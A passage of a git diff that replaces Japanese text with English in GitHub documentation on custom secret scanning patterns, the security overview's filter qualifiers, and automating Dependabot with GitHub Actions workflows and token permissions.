'You can define custom patterns for {% data variables.product.prodname_secret_scanning %} in organizations and private repositories.' product: '{% data reusables.gated-features.secret-scanning %}' redirect_from: - /code-security/secret-security/defining-custom-patterns-for-secret-scanning @@ -17,36 +17,40 @@ topics: {% ifversion ghes < 3.3 or ghae %} {% note %} -**ノート:** {% data variables.product.prodname_secret_scanning %}のカスタムパターンは現在ベータであり、変更されることがあります。 +**Note:** Custom patterns for {% data variables.product.prodname_secret_scanning %} is currently in beta and is subject to change. {% endnote %} {% endif %} -## {% data variables.product.prodname_secret_scanning %}のカスタムパターンについて +## About custom patterns for {% data variables.product.prodname_secret_scanning %} -{% data variables.product.company_short %}は、{% ifversion fpt or ghec %}パブリック及びプライベート{% endif %}リポジトリ上で{% data variables.product.company_short %}及び{% data variables.product.company_short %}パートナーが提供するシークレットのパターンの{% data variables.product.prodname_secret_scanning %}を行います。 {% data variables.product.prodname_secret_scanning %}パートナープログラムに関する詳しい情報については「Secret scanningパートナープログラム」を参照してください。 +{% data variables.product.company_short %} performs {% data variables.product.prodname_secret_scanning %} on {% ifversion fpt or ghec %}public and private{% endif %} repositories for secret patterns provided by {% data variables.product.company_short %} and {% data variables.product.company_short %} partners. For more information on the {% data variables.product.prodname_secret_scanning %} partner program, see "Secret scanning partner program." -ただし、{% ifversion fpt or ghec %}プライベート{% endif %}リポジトリ中で他のシークレットのパターンをスキャンしたいこともあるでしょう。 たとえば、Organizationの内部的なシークレットのパターンを持っていることもあるかもしれません。 For these situations, you can define custom {% data variables.product.prodname_secret_scanning %} patterns in your enterprise, organization, or {% ifversion fpt or ghec %}private{% endif %} repository on {% data variables.product.product_name %}. You can define up to 500 custom patterns for each organization or enterprise account, and up to 100 custom patterns per {% ifversion fpt or ghec %}private{% endif %} repository. +However, there can be situations where you want to scan for other secret patterns in your {% ifversion fpt or ghec %}private{% endif %} repositories. For example, you might have a secret pattern that is internal to your organization. For these situations, you can define custom {% data variables.product.prodname_secret_scanning %} patterns in your enterprise, organization, or {% ifversion fpt or ghec %}private{% endif %} repository on {% data variables.product.product_name %}. You can define up to +{%- ifversion fpt or ghec or ghes > 3.3 %} 500 custom patterns for each organization or enterprise account, and up to 100 custom patterns per {% ifversion fpt or ghec %}private{% endif %} repository. +{%- elsif ghes = 3.3 %} 100 custom patterns for each organization or enterprise account, and per repository. +{%- else %} 20 custom patterns for each organization or enterprise account, and per repository. +{%- endif %} {% ifversion ghes < 3.3 or ghae %} {% note %} -**ノート:** ベータの間、{% data variables.product.prodname_secret_scanning %}のカスタムパターンの使用には多少の制限があります。 +**Note:** During the beta, there are some limitations when using custom patterns for {% data variables.product.prodname_secret_scanning %}: -* dry-runの機能はありません。 -* 作成後にカスタムパターンを編集することはできません。 パターンを変更するには、削除してから再作成しなければなりません。 -* カスタムパターンの作成、編集、削除のためのAPIはありません。 しかし、カスタムパターンに対する結果は[Secret scanningアラートAPI](/rest/reference/secret-scanning)で返されます。 +* There is no dry-run functionality. +* You cannot edit custom patterns after they're created. To change a pattern, you must delete it and recreate it. +* There is no API for creating, editing, or deleting custom patterns. However, results for custom patterns are returned in the [secret scanning alerts API](/rest/reference/secret-scanning). {% endnote %} {% endif %} -## カスタムパターンの正規表現構文 +## Regular expression syntax for custom patterns -{% data variables.product.prodname_secret_scanning %}のカスタムパターンは、正規表現として指定されます。 {% data variables.product.prodname_secret_scanning_caps %}は[Hyperscanライブラリ](https://github.com/intel/hyperscan)を利用し、Hyperscanの正規構造のみをサポートします。これはPCRE構文のサブセットです。 Hyperscanのオプション修飾子はサポートされません。 Hyperscanのパターン構造に関する詳しい情報については、Hyperscanのドキュメンテーションの「[Pattern support](http://intel.github.io/hyperscan/dev-reference/compilation.html#pattern-support)」を参照してください。 +Custom patterns for {% data variables.product.prodname_secret_scanning %} are specified as regular expressions. {% data variables.product.prodname_secret_scanning_caps %} uses the [Hyperscan library](https://github.com/intel/hyperscan) and only supports Hyperscan regex constructs, which are a subset of PCRE syntax. Hyperscan option modifiers are not supported. For more information on Hyperscan pattern constructs, see "[Pattern support](http://intel.github.io/hyperscan/dev-reference/compilation.html#pattern-support)" in the Hyperscan documentation. -## リポジトリのカスタムパターンの定義 +## Defining a custom pattern for a repository -カスタムパターンを定義する前に、リポジトリで{% data variables.product.prodname_secret_scanning %}が有効化されていることを確認しておかなければなりません。 詳しい情報については「[リポジトリでの{% data variables.product.prodname_secret_scanning %}の設定](/code-security/secret-security/configuring-secret-scanning-for-your-repositories)」を参照してください。 +Before defining a custom pattern, you must ensure that {% data variables.product.prodname_secret_scanning %} is enabled on your repository. For more information, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your repositories](/code-security/secret-security/configuring-secret-scanning-for-your-repositories)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} @@ -55,11 +59,11 @@ topics: {% data reusables.advanced-security.secret-scanning-new-custom-pattern %} {% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %} -パターンを作成したら、{% data reusables.secret-scanning.secret-scanning-process %} {% data variables.product.prodname_secret_scanning %}アラートの表示に関する詳しい情報については「[{% data variables.product.prodname_secret_scanning %}からのアラートの管理](/code-security/secret-security/managing-alerts-from-secret-scanning)」を参照してください。 +After your pattern is created, {% data reusables.secret-scanning.secret-scanning-process %} For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." -## Organizationのカスタムパターンの定義 +## Defining a custom pattern for an organization -カスタムパターンを定義する前に、Organizationの中のスキャンしたい{% ifversion fpt or ghec %}プライベート{% endif %}リポジトリで{% data variables.product.prodname_secret_scanning %}が有効化されていることを確認しなければなりません。 Organization内のすべての{% ifversion fpt or ghec %}プライベート{% endif %}リポジトリで{% data variables.product.prodname_secret_scanning %}を有効化するには、「[Organizationのセキュリティと分析設定の管理](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」を参照してください。 +Before defining a custom pattern, you must ensure that you enable {% data variables.product.prodname_secret_scanning %} for the {% ifversion fpt or ghec %}private{% endif %} repositories that you want to scan in your organization. To enable {% data variables.product.prodname_secret_scanning %} on all {% ifversion fpt or ghec %}private{% endif %} repositories in your organization, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." {% note %} @@ -74,16 +78,12 @@ topics: {% data reusables.advanced-security.secret-scanning-new-custom-pattern %} {% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %} -パターンを作成すると、{% data variables.product.prodname_secret_scanning %}はすべてのブランチのGit履歴全体を含めて、Organization内の{% ifversion fpt or ghec %}プライベート{% endif %}リポジトリでシークレットをスキャンします。 Organizationのオーナーとリポジトリの管理者は、シークレットが見つかるとアラートを受け、シークレットが見つかったリポジトリでアラートをレビューできます。 {% data variables.product.prodname_secret_scanning %}アラートの表示に関する詳しい情報については「[{% data variables.product.prodname_secret_scanning %}空のアラートの管理](/code-security/secret-security/managing-alerts-from-secret-scanning)」を参照してください。 +After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in {% ifversion fpt or ghec %}private{% endif %} repositories in your organization, including their entire Git history on all branches. Organization owners and repository administrators will be alerted to any secrets found, and can review the alert in the repository where the secret is found. For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." ## Defining a custom pattern for an enterprise account -{% ifversion fpt or ghec or ghes %} - Before defining a custom pattern, you must ensure that you enable secret scanning for your enterprise account. For more information, see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise]({% ifversion fpt or ghec %}/enterprise-server@latest/{% endif %}/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)." -{% endif %} - {% note %} **Note:** As there is no dry-run functionality, we recommend that you test your custom patterns in a repository before defining them for your entire enterprise. That way, you can avoid creating excess false-positive {% data variables.product.prodname_secret_scanning %} alerts. @@ -94,29 +94,29 @@ Before defining a custom pattern, you must ensure that you enable secret scannin {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.advanced-security-policies %} {% data reusables.enterprise-accounts.advanced-security-security-features %} -1. Under "Secret scanning custom patterns", click {% ifversion fpt or ghes > 3.2 or ghae-next or ghec %}**New pattern**{% elsif ghes = 3.2 %}**New custom pattern**{% endif %}. +1. Under "Secret scanning custom patterns", click {% ifversion ghes = 3.2 %}**New custom pattern**{% else %}**New pattern**{% endif %}. {% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %} -After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in {% ifversion fpt or ghec %}private{% endif %} repositories within your enterprise's organizations with {% data variables.product.prodname_GH_advanced_security %} enabled, including their entire Git history on all branches. Organizationのオーナーとリポジトリの管理者は、シークレットが見つかるとアラートを受け、シークレットが見つかったリポジトリでアラートをレビューできます。 {% data variables.product.prodname_secret_scanning %}アラートの表示に関する詳しい情報については「[{% data variables.product.prodname_secret_scanning %}空のアラートの管理](/code-security/secret-security/managing-alerts-from-secret-scanning)」を参照してください。 +After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in {% ifversion fpt or ghec %}private{% endif %} repositories within your enterprise's organizations with {% data variables.product.prodname_GH_advanced_security %} enabled, including their entire Git history on all branches. Organization owners and repository administrators will be alerted to any secrets found, and can review the alert in the repository where the secret is found. For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." -{% ifversion fpt or ghes > 3.2 or ghec %} +{% ifversion fpt or ghes > 3.2 or ghec or ghae %} ## Editing a custom pattern When you save a change to a custom pattern, this closes all the {% data variables.product.prodname_secret_scanning %} alerts that were created using the previous version of the pattern. 1. Navigate to where the custom pattern was created. A custom pattern can be created in a repository, organization, or enterprise account. - * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. 詳しい情報については上の「[リポジトリのカスタムパターンの定義](#defining-a-custom-pattern-for-a-repository)」あるいは「[Organizationのカスタムパターンの定義](#defining-a-custom-pattern-for-an-organization)」を参照してください。 + * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. For more information, see "[Defining a custom pattern for a repository](#defining-a-custom-pattern-for-a-repository)" or "[Defining a custom pattern for an organization](#defining-a-custom-pattern-for-an-organization)" above. * For an enterprise, under "Policies" display the "Advanced Security" area, and then click **Security features**. For more information, see "[Defining a custom pattern for an enterprise account](#defining-a-custom-pattern-for-an-enterprise-account)" above. 2. Under "{% data variables.product.prodname_secret_scanning_caps %}", to the right of the custom pattern you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}. 3. When you have reviewed and tested your changes, click **Save changes**. {% endif %} -## カスタムパターンの削除 +## Removing a custom pattern 1. Navigate to where the custom pattern was created. A custom pattern can be created in a repository, organization, or enterprise account. - * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. 詳しい情報については上の「[リポジトリのカスタムパターンの定義](#defining-a-custom-pattern-for-a-repository)」あるいは「[Organizationのカスタムパターンの定義](#defining-a-custom-pattern-for-an-organization)」を参照してください。 + * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. For more information, see "[Defining a custom pattern for a repository](#defining-a-custom-pattern-for-a-repository)" or "[Defining a custom pattern for an organization](#defining-a-custom-pattern-for-an-organization)" above. * For an enterprise, under "Policies" display the "Advanced Security" area, and then click **Security features**. For more information, see "[Defining a custom pattern for an enterprise account](#defining-a-custom-pattern-for-an-enterprise-account)" above. -{%- ifversion fpt or ghes > 3.2 or ghae-next %} +{%- ifversion fpt or ghes > 3.2 or ghae %} 1. To the right of the custom pattern you want to remove, click {% octicon "trash" aria-label="The trash icon" %}. 1. Review the confirmation, and select a method for dealing with any open alerts relating to the custom pattern. 1. Click **Yes, delete this pattern**. diff --git a/translations/ja-JP/content/code-security/security-overview/about-the-security-overview.md b/translations/ja-JP/content/code-security/security-overview/about-the-security-overview.md index 52c723de23..15013c110e 100644 --- a/translations/ja-JP/content/code-security/security-overview/about-the-security-overview.md +++ b/translations/ja-JP/content/code-security/security-overview/about-the-security-overview.md @@ -1,5 +1,5 @@ --- -title: セキュリティの概要について +title: About the security overview intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in one place: the Security Overview page.' product: '{% data reusables.gated-features.security-center %}' redirect_from: @@ -21,46 +21,47 @@ shortTitle: About security overview {% data reusables.security-center.beta %} -## セキュリティの概要について +## About the security overview -セキュリティの概要は、Organizationのセキュリティの状況の高レベルでの表示、あるいは介入が必要な問題のあるリポジトリを特定するために利用できます。 Organizationのレベルでは、セキュリティの概要はOrganizationが所有するリポジトリに関する集約されたリポジトリ固有のセキュリティ情報を表示します。 Teamレベルでは、セキュリティの概要はTeamが管理権限を持つリポジトリの固有のセキュリティ情報を表示します。 詳しい情報については「[OrganizationリポジトリへのTeamのアクセス管理](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)」を参照してください。 +You can use the security overview for a high-level view of the security status of your organization or to identify problematic repositories that require intervention. At the organization-level, the security overview displays aggregate and repository-specific security information for repositories owned by your organization. At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)." The security overview indicates whether {% ifversion fpt or ghes > 3.1 or ghec %}security{% endif %}{% ifversion ghae-next %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes > 3.1 or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %} For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)." -セキュリティの概要では、Organizationや特定のリポジトリ内のセキュリティリスクを理解するために、アラートを表示、ソート、フィルタリングできます。 関心のある領域に集中するために、複数のフィルタを適用することができます。 たとえば、多数の{% data variables.product.prodname_dependabot_alerts %}が生じているプライベートリポジトリや、{% data variables.product.prodname_code_scanning %}アラートのないリポジトリを識別できます。 +In the security overview, you can view, sort, and filter alerts to understand the security risks in your organization and in specific repositories. You can apply multiple filters to focus on areas of interest. For example, you can identify private repositories that have a high number of {% data variables.product.prodname_dependabot_alerts %} or repositories that have no {% data variables.product.prodname_code_scanning %} alerts. -![Organizationのセキュリティの概要](/assets/images/help/organizations/security-overview.png) +![The security overview for an organization](/assets/images/help/organizations/security-overview.png) For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out. -![セキュリティの概要中のアイコン](/assets/images/help/organizations/security-overview-icons.png) +![Icons in the security overview](/assets/images/help/organizations/security-overview-icons.png) -| アイコン | 意味 | -| ------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} アラート. 詳しい情報については「[{% data variables.product.prodname_code_scanning %}について](/code-security/secure-coding/about-code-scanning)」を参照してください。 | -| {% octicon "key" aria-label="Secret scanning alerts" %} | {% data variables.product.prodname_secret_scanning_caps %} アラート. 詳しい情報については「[{% data variables.product.prodname_secret_scanning %}について](/code-security/secret-security/about-secret-scanning)」を参照してください。 | -| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}について受ける方法は、カスタマイズできます。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」を参照してください。 | -| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. | -| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. | +| Icon | Meaning | +| -------- | -------- | +| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)." | +| {% octicon "key" aria-label="Secret scanning alerts" %} | {% data variables.product.prodname_secret_scanning_caps %} alerts. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." | +| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." | +| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. | +| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. | -デフォルトでは、アーカイブされたリポジトリはOrganizationのセキュリティの概要からは除外されます。 セキュリティの概要では、アーカイブされたリポジトリを見るためにフィルタを適用できます。 詳しい情報については「[アラートのリストのフィルタリング](#filtering-the-list-of-alerts)」を参照してください。 +By default, archived repositories are excluded from the security overview for an organization. You can apply filters to view archived repositories in the security overview. For more information, see "[Filtering the list of alerts](#filtering-the-list-of-alerts)." -The security overview displays active alerts raised by security features. リポジトリに対してセキュリティの概要でアラートがない場合でも、検出されていないセキュリティ脆弱性やコードのエラーは存在するかもしれません。 +The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist. -## Organizationのセキュリティの概要の表示 +## Viewing the security overview for an organization -Organizationのオーナーは、Organizationのセキュリティの概要を見ることができます。 +Organization owners can view the security overview for an organization. {% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.security-overview %} -1. アラートの種類に対する集約された情報を見るには、**Show more（さらに表示）**をクリックしてください。 ![さらに表示ボタン](/assets/images/help/organizations/security-overview-show-more-button.png) +1. To view aggregate information about alert types, click **Show more**. + ![Show more button](/assets/images/help/organizations/security-overview-show-more-button.png) {% data reusables.organizations.filter-security-overview %} -## Teamのセキュリティの概要の表示 +## Viewing the security overview for a team -Teamのメンバーは、Teamが管理者権限を持つリポジトリのセキュリティの概要を見ることができます。 +Members of a team can see the security overview for repositories that the team has admin privileges for. {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} @@ -68,61 +69,70 @@ Teamのメンバーは、Teamが管理者権限を持つリポジトリのセキ {% data reusables.organizations.team-security-overview %} {% data reusables.organizations.filter-security-overview %} -## アラートのリストのフィルタリング +## Filtering the list of alerts -### リポジトリに対するリスクレベルによるフィルタリング +### Filter by level of risk for repositories The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk. -| 修飾子 | 説明 | -| -------------- | --------------------------- | -| `risk:high` | 高リスクのリポジトリを表示します。 | -| `risk:medium` | 中程度のリスクのリポジトリを表示します。 | -| `risk:low` | 低リスクのリポジトリを表示します。 | -| `risk:unknown` | リスクレベルが不明なリポジトリを表示します。 | -| `risk:clear` | リスクレベルが検出されていないリポジトリを表示します。 | +| Qualifier | Description | +| -------- | -------- | +| `risk:high` | Display repositories that are at high risk. | +| `risk:medium` | Display repositories that are at medium risk. | +| `risk:low` | Display repositories that are at low risk. | +| `risk:unknown` | Display repositories that are at an unknown level of risk. | +| `risk:clear` | Display repositories that have no detected level of risk. | -### アラート数によるフィルタ +### Filter by number of alerts -| 修飾子 | 説明 | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------- | -| code-scanning-alerts:n | *n*件の{% data variables.product.prodname_code_scanning %}アラートがあるリポジトリを表示します。 この修飾子は > 及び < j比較演算子を使用できます。 | -| secret-scanning-alerts:n | *n*件の{% data variables.product.prodname_secret_scanning %}アラートを持つリポジトリを表示します。 この修飾子は > 及び < j比較演算子を使用できます。 | -| dependabot-alerts:n | *n*件の{% data variables.product.prodname_dependabot_alerts %}を持つリポジトリを表示します。 この修飾子は > 及び < j比較演算子を使用できます。 | +| Qualifier | Description | +| -------- | -------- | +| code-scanning-alerts:n | Display repositories that have *n* {% data variables.product.prodname_code_scanning %} alerts. This qualifier can use > and < comparison operators. | +| secret-scanning-alerts:n | Display repositories that have *n* {% data variables.product.prodname_secret_scanning %} alerts. This qualifier can use > and < comparison operators. | +| dependabot-alerts:n | Display repositories that have *n* {% data variables.product.prodname_dependabot_alerts %}. This qualifier can use > and < comparison operators. | ### Filter by whether security features are enabled -| 修飾子 | 説明 | -| ------------------------------- | ------------------------------------------------------------------------------- | -| `enabled:code-scanning` | {% data variables.product.prodname_code_scanning %}が有効化されているリポジトリを表示します。 | -| `not-enabled:code-scanning` | {% data variables.product.prodname_code_scanning %}が有効化されていないリポジトリを表示します。 | -| `enabled:secret-scanning` | {% data variables.product.prodname_secret_scanning %}が有効化されているリポジトリを表示します。 | -| `not-enabled:secret-scanning` | {% data variables.product.prodname_secret_scanning %}が有効化されているリポジトリを表示します。 | -| `enabled:dependabot-alerts` | {% data variables.product.prodname_dependabot_alerts %}が有効化されているリポジトリを表示します。 | -| `not-enabled:dependabot-alerts` | {% data variables.product.prodname_dependabot_alerts %}が有効化されていないリポジトリを表示します。 | +| Qualifier | Description | +| -------- | -------- | +| `enabled:code-scanning` | Display repositories that have {% data variables.product.prodname_code_scanning %} enabled. | +| `not-enabled:code-scanning` | Display repositories that do not have {% data variables.product.prodname_code_scanning %} enabled. | +| `enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. | +| `not-enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. | +| `enabled:dependabot-alerts` | Display repositories that have {% data variables.product.prodname_dependabot_alerts %} enabled. | +| `not-enabled:dependabot-alerts` | Display repositories that do not have {% data variables.product.prodname_dependabot_alerts %} enabled. | -### リポジトリの種類によるフィルタ +### Filter by repository type -| Qualifier | Description | | -------- | -------- |{% ifversion fpt or ghes > 3.1 or ghec %} | `is:public` | Display public repositories. |{% endif %} | `is:internal` | Display internal repositories. | | `is:private` | Display private repositories. | | `archived:true` | Display archived repositories. | +| Qualifier | Description | +| -------- | -------- | +{%- ifversion fpt or ghes > 3.1 or ghec %} +| `is:public` | Display public repositories. | +{% elsif ghes or ghec or ghae %} +| `is:internal` | Display internal repositories. | +{%- endif %} +| `is:private` | Display private repositories. | +| `archived:true` | Display archived repositories. | +| `archived:true` | Display archived repositories. | -### Teamによるフィルタ +### Filter by team -| 修飾子 | 説明 | -| ------------------------- | -------------------------------- | -| team:TEAM-NAME | *TEAM-NAME*が管理者権限を持つリポジトリを表示します。 | +| Qualifier | Description | +| -------- | -------- | +| team:TEAM-NAME | Displays repositories that *TEAM-NAME* has admin privileges for. | -### トピックによるフィルタ +### Filter by topic -| 修飾子 | 説明 | -| ------------------------- | ------------------------------ | -| topic:TOPIC-NAME | *TOPIC-NAME*で分類されるリポジトリを表示します。 | +| Qualifier | Description | +| -------- | -------- | +| topic:TOPIC-NAME | Displays repositories that are classified with *TOPIC-NAME*. | -### アラートのリストをソート +### Sort the list of alerts -| 修飾子 | 説明 | -| ----------------------------- | ------------------------------------------------------------------------------------- | -| `sort:risk` | セキュリティの概要中のリポジトリをリスクでソートします。 | -| `sort:repos` | セキュリティの概要中のリポジトリを名前でアルファベット順にソートします。 | -| `sort:code-scanning-alerts` | セキュリティの概要中のリポジトリを{% data variables.product.prodname_code_scanning %}アラート数でソートします。 | -| `sort:secret-scanning-alerts` | セキュリティの概要中のリポジトリを{% data variables.product.prodname_secret_scanning %}アラート数でソートします。 | -| `sort:dependabot-alerts` | セキュリティの概要中のリポジトリを{% data variables.product.prodname_dependabot_alerts %}数でソートします。 | +| Qualifier | Description | +| -------- | -------- | +| `sort:risk` | Sorts the repositories in your security overview by risk. | +| `sort:repos` | Sorts the repositories in your security overview alphabetically by name. | +| `sort:code-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_code_scanning %} alerts. | +| `sort:secret-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_secret_scanning %} alerts. | +| `sort:dependabot-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_dependabot_alerts %}. | diff --git a/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md b/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md index 097530e9a7..9d3a2c3ed5 100644 --- a/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md +++ b/translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md @@ -1,6 +1,6 @@ --- -title: GitHub ActionsでのDependabotの自動化 -intro: '{% data variables.product.prodname_actions %}を使って一般的な{% data variables.product.prodname_dependabot %}関連のタスクを自動化する例。' +title: Automating Dependabot with GitHub Actions +intro: 'Examples of how you can use {% data variables.product.prodname_actions %} to automate common {% data variables.product.prodname_dependabot %} related tasks.' permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_actions %} to respond to {% data variables.product.prodname_dependabot %}-created pull requests.' miniTocMaxHeadingLevel: 3 versions: @@ -22,40 +22,108 @@ shortTitle: Use Dependabot with actions {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -## {% data variables.product.prodname_dependabot %}及び{% data variables.product.prodname_actions %}について +## About {% data variables.product.prodname_dependabot %} and {% data variables.product.prodname_actions %} -{% data variables.product.prodname_dependabot %}は、依存関係を最新に保つためのPull Requestを作成します。{% data variables.product.prodname_actions %}を使って、それらのPull Requestが作成されたときに自動化されたタスクを実行できます。 たとえば、追加の成果物のフェッチ、ラベルの追加、テストの実行、あるいはPull Requestの変更ができます。 +{% data variables.product.prodname_dependabot %} creates pull requests to keep your dependencies up to date, and you can use {% data variables.product.prodname_actions %} to perform automated tasks when these pull requests are created. For example, fetch additional artifacts, add labels, run tests, or otherwise modifying the pull request. -## イベントへの応答 +## Responding to events -{% data variables.product.prodname_dependabot %}は、そのPull Requestとコメントに対して{% data variables.product.prodname_actions %}ワークフローをトリガーできます。ただし、[GitHub Actions: DependabotのPull Requestがトリガーしたワークフローは読み取りのみの権限で実行される](https://github.blog/changelog/2021-02-19-github-actions-workflows-triggered-by-dependabot-prs-will-run-with-read-only-permissions/)ので、特定のイベントは異なった扱いを受けます。 +{% data variables.product.prodname_dependabot %} is able to trigger {% data variables.product.prodname_actions %} workflows on its pull requests and comments; however, certain events are treated differently. -`pull_request`、`pull_request_review`、`pull_request_review_comment`、`push`イベントを使って {% data variables.product.prodname_dependabot %}によって開始されたワークフロー（`github.actor == "dependabot[bot]"`）については、以下の制限が適用されます。 +For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == "dependabot[bot]"`) using the `pull_request`, `pull_request_review`, `pull_request_review_comment`, and `push` events, the following restrictions apply: -- `GITHUB_TOKEN`は読み取りのみの権限を持ちます。 -- シークレットにはアクセスできません。 +- {% ifversion ghes = 3.3 %}`GITHUB_TOKEN` has read-only permissions, unless your administrator has removed restrictions.{% else %}`GITHUB_TOKEN` has read-only permissions by default.{% endif %} +- {% ifversion ghes = 3.3 %}Secrets are inaccessible, unless your administrator has removed restrictions.{% else %}Secrets are populated from {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available.{% endif %} -詳しい情報については[GitHub Actionsとワークフローをセキュアに保つ: pwnリクエストの防止](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)を参照してください。 +For more information, see ["Keeping your GitHub Actions and workflows secure: Preventing pwn requests"](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). + +{% ifversion fpt or ghec or ghes > 3.3 %} + +### Changing `GITHUB_TOKEN` permissions + +By default, {% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} get a `GITHUB_TOKEN` with read-only permissions. You can use the `permissions` key in your workflow to increase the access for the token: + +{% raw %} + +```yaml +name: CI +on: pull_request + +# Set the access for individual scopes, or use permissions: write-all +permissions: + pull-requests: write + issues: write + repository-projects: write + ... + +jobs: + ... +``` + +{% endraw %} + +For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token)." + +### Accessing secrets + +When a {% data variables.product.prodname_dependabot %} event triggers a workflow, the only secrets available to the workflow are {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available. Consequently, you must store any secrets that are used by a workflow triggered by {% data variables.product.prodname_dependabot %} events as {% data variables.product.prodname_dependabot %} secrets. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)". + +{% data variables.product.prodname_dependabot %} secrets are added to the `secrets` context and referenced using exactly the same syntax as secrets for {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets#using-encrypted-secrets-in-a-workflow)." + +If you have a workflow that will be triggered by {% data variables.product.prodname_dependabot %} and also by other actors, the simplest solution is to store the token with the 